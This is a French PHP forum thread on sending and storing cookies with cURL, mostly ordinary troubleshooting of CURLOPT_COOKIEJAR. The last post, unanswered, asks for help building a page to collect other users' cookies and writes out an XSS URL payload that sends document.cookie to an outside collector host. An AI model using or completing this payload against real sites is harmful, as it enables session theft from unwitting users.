Précédent   Forum des professionnels en informatique > PHP > Bibliothèques et frameworks
Bibliothèques et frameworks Forum d'entraide sur les frameworks, templates, bibliothèques de code (PDFLib, eZPdf, JpGraph, Artichow, PEAR, etc). Avant de poster : FAQ bibliothèques, toutes les FAQ PHP et cours bibliothèques
Partagez cette discussion sur d'autres réseaux sociaux : Viadeo Twitter Google Facebook Digg Delicious MySpace Yahoo
Réponse Proposer ce sujet en actualité
 
Outils de la discussion
Publicité
'
Vieux 09/09/2007, 11h02   #1
Candidat au titre de Membre du Club
 
Inscription : septembre 2005
Messages : 38
Détails du profil
Informations forums :
Inscription : septembre 2005
Messages : 38
Points : 11
Points : 11
Par défaut [cURL] Réception et envoi de cookies

Bonjour,

J'essai avec CURL d'envoyer une requète à un serveur et de récupérer le résultat (ça, c'est bon).

Seulement, le serveur envoi parfois des cookies. Dans ce cas, je veux les transférer au client, et vice-versa. Mais comment faire ?

Je ne comprends pas bien le comportement de CURLOPT_COOKIEFILE ou autres...


Merci d'avance de votre aide.
alex.hitman est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 10/09/2007, 01h27   #2
Inscrit
 
Avatar de is_null
 
Inscription : octobre 2006
Messages : 637
Détails du profil
Informations forums :
Inscription : octobre 2006
Messages : 637
Points : 690
Points : 690
Voici l'option à configurer pour stocker le(s) cookie(s) à la fin de la session :
curl_setopt($ch, CURLOPT_COOKIEJAR, "/chemin/vers/cookie.txt");

Pour envoer un cookie lors d'une requête avec libcurl :
curl_setopt($ch, CURLOPT_COOKIEFILE, "/chemin/vers/cookie.txt");
__________________
Q: Dois-je haïr et cogner sur Microsoft ?
R: Non, vous n'êtes pas obligé. Non pas que Microsoft n'est pas écoeurant, mais il y avait une culture hacker bien avant Microsoft et il y en aura une bien après que Microsoft aura été de l'histoire ancienne. Toute énergie dépensée à haïr Microsoft serait mieux employée par vos compétences et votre passion. Écrivez du bon code, cela brisera suffisamment Microsoft sans polluer votre karma.
Comment devenir un hacker ? par Eric Steven Raymond
is_null est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 10/09/2007, 20h39   #3
Candidat au titre de Membre du Club
 
Inscription : septembre 2005
Messages : 38
Détails du profil
Informations forums :
Inscription : septembre 2005
Messages : 38
Points : 11
Points : 11
Bonjour,

Lorsque j'utilise CURLOPT_COOKIEJAR, aucun fichier n'est créé.

Par exemple :
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");

Lorsque je vais voir dans mon répertoire, aucun fichier portant le nom cookie.txt n'y est.


De plus, j'ai des opérations à faire sur les cookies récupérés. Comment donc accéder au fichier "cookie.txt" censé être créé ?


Merci encore.
alex.hitman est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 10/09/2007, 21h39   #4
En attente de confirmation mail
 
Inscription : juin 2002
Messages : 6 164
Détails du profil
Informations forums :
Inscription : juin 2002
Messages : 6 164
Points : 6 404
Points : 6 404
Citation:
Envoyé par alex.hitman
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
Lors d'une précédente utilisation ce fichier été créé dans la partie qui correspond au ServerRoot Pour le créer dans le répertoire courant, j'avais dû lui forcer la main en utilisant la fonction realpath. N'oubliez pas qu'Apache doit également avoir les droits pour le créer ou y écrire.

Citation:
Envoyé par alex.hitman
De plus, j'ai des opérations à faire sur les cookies récupérés. Comment donc accéder au fichier "cookie.txt" censé être créé ?
C'est un fichier texte formaté donc facile à (re)lire.
julp est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 11/09/2007, 22h01   #5
Candidat au titre de Membre du Club
 
Inscription : septembre 2005
Messages : 38
Détails du profil
Informations forums :
Inscription : septembre 2005
Messages : 38
Points : 11
Points : 11
Merci, j'ai enfin réussi à créer le fichier. C'est effectivement un fichier texte formaté, je n'ai donc eu aucun mal à faire ce que j'en voulais.

Merci encore.
alex.hitman est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 29/09/2008, 11h00   #6
Invité de passage
 
Inscription : septembre 2008
Messages : 1
Détails du profil
Informations forums :
Inscription : septembre 2008
Messages : 1
Points : 1
Points : 1
Par défaut xss

j'ai besoin d'aide car je doit ecrire une page PHP qui me permettra de recevoir les cookies d'un autre utilisateur en injectant un script dans un URL comme suivant
http://www.monsite.com/index.php?name=<script>window.open("http://www.voldecookie.com/collect.php?cookie="%2Bdocument.cookie)</script>

MERCII
neo09 est déconnecté   Envoyer un message privé Réponse avec citation 00
Réponse Proposer ce sujet en actualité Cette discussion est résolue.
Outils de la discussion



Fuseau horaire GMT +2. Il est actuellement 09h53.


 
 
 
 
Partenaires

Hébergement Web